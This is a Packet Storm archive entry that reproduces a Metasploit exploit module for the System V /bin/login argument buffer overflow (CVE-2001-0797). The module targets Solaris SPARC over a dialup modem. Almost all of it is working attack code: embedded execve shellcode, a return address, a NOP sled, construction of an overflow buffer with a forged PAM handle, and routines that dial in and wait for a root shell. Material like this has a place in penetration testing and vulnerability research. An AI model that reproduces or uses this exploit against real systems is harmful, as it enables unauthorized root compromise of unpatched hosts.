System V Derived /bin/login Extraneous Arguments Buffer Overflow

2009-10-27T00:00:00
ID PACKETSTORM:82226
Type packetstorm
Reporter I)ruid
Modified 2009-10-27T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Dialup  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'System V Derived /bin/login Extraneous Arguments Buffer Overflow',  
'Description' => %q{  
This exploit connects to a system's modem over dialup and exploits  
a buffer overlflow vulnerability in it's System V derived /bin/login.  
The vulnerability is triggered by providing a large number of arguments.  
},  
'References' =>  
[  
[ 'CVE', '2001-0797'],  
[ 'OSVDB', '690'],  
[ 'OSVDB', '691'],  
[ 'BID', '3681'],  
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2002-10/0014.html'],  
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-12/0404.html'],  
],  
'Version' => '$Revision: 6479 $',  
'Author' =>  
[  
'I)ruid',  
],  
'Arch' => ARCH_TTY,  
'Platform' => ['unix'],  
'License' => MSF_LICENSE,  
'Payload' =>  
{  
'Space' => 3000,  
'BadChars' => '',  
'DisableNops' => true,  
},  
'Targets' =>  
[  
['Solaris 2.6 - 8 (SPARC)', {  
'Platform' => 'unix',  
'Ret' => 0x00027184,  
# Solaris/SPARC special shellcode (courtesy of inode)  
# execve() + exit()  
'Shellcode' =>   
"\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc" +  
"\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4" +  
"\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14" +  
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08",  
'NOP' => "\x90\x1b\x80\x0e",  
} ],  
  
],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
# OptString.new('USER', [true, 'User to log in as', 'bin']),  
], self.class  
)  
  
deregister_options(  
)  
end  
  
def buildbuf  
print_status("Targeting: #{self.target.name}")  
  
retaddr = self.target.ret  
shellcode = self.target['Shellcode']  
nop = self.target['NOP']  
  
user = datastore['USER']  
command = datastore['COMMAND'] + "\n"  
  
# prepare the evil buffer  
i = 0  
buf = ''  
  
# login name  
buf[i,4] = 'bin '  
i += 4  
  
# return address  
buf[i,4] = [retaddr].pack('N')  
i += 4  
buf[i,1] = ' '  
i += 1  
  
# trigger the overflow  
(0...60).each {|c|  
buf[i,2] = 'a '  
i += 2  
}  
  
# padding  
buf[i,4] = ' BBB'  
i += 4  
  
# nop sled and shellcode  
(0...398).each {|c|  
buf[i,nop.size] = nop  
i += nop.size  
}  
shellcode.each_byte {|b|  
c = b.chr  
case 'c'  
when "\\"  
buf[i,2] = "\\\\"  
i += 2  
when "\xff", "\n", " ", "\t"  
buf[i,1] = "\\"  
buf[i+1,1] = (((b & 0300) >> 6) + '0').chr  
buf[i+2,1] = (((b & 0070) >> 3) + '0').chr  
buf[i+3,1] = ( (b & 0007) + '0').chr  
i += 4  
else  
buf[i,1] = c  
i += 1  
end  
}  
# TODO: need to overwrite/skip the last byte of shellcode?  
#i -= 1  
  
# padding  
buf[i,4] = 'BBB '  
i += 4  
  
# pam_handle_t: minimal header  
buf[i,16] = 'CCCCCCCCCCCCCCCC'  
i += 16  
buf[i,4] = [retaddr].pack('N')  
i += 4  
buf[i,4] = [0x01].pack('N')  
i += 4  
  
# pam_handle_t: NULL padding  
(0...52).each {|c|  
buf[i,4] = [0].pack('N')  
i += 4  
}  
  
# pam_handle_t: pameptr must be the 65th ptr  
buf[i,9] = "\x00\x00\x00 AAAA\n"  
i += 9  
  
return buf  
end  
  
def exploit  
buf = buildbuf  
  
print_status("Dialing Target")  
if not connect_dialup  
print_error("Exiting.")  
return  
end  
  
print_status("Waiting for login prompt")  
  
res = dialup_expect(/ogin:\s/i, 10)  
#puts Rex::Text.to_hex_dump(res[:buffer])   
if not res[:match]  
print_error("Login prompt not found... Exiting.")  
disconnect_dialup  
return  
end  
  
# send the evil buffer, 256 chars at a time  
print_status("Sending evil buffer...")  
#puts Rex::Text.to_hex_dump(buf)  
len = buf.length  
p = 0  
while(len > 0) do  
i = len > 0x100 ? 0x100 : len  
#puts Rex::Text.to_hex_dump(buf[p,i])  
dialup_puts(buf[p,i])  
len -= i  
p += i  
# if len > 0  
# puts Rex::Text.to_hex_dump("\x04")  
# dialup_puts("\x04") if len > 0  
# end  
sleep 0.5  
end  
  
# wait for password prompt  
print_status("Waiting for password prompt")  
res = dialup_expect(/assword:/i, 30)  
#puts Rex::Text.to_hex_dump(res[:buffer])   
if not res[:match]   
print_error("Target is likely not vulnerable... Exiting.")  
disconnect_dialup  
return  
end   
  
print_status("Password prompt received, waiting for shell")  
dialup_puts("pass\n")  
  
res = dialup_expect(/#\s/i, 20)  
#puts Rex::Text.to_hex_dump(res[:buffer])   
if not res[:match]  
print_error("Shell not found.")  
print_error("Target is likely not vulnerable... Exiting.")  
disconnect_dialup  
return  
end  
  
print_status("Success!!!")  
handler  
  
disconnect_dialup  
end  
  
end  
  
`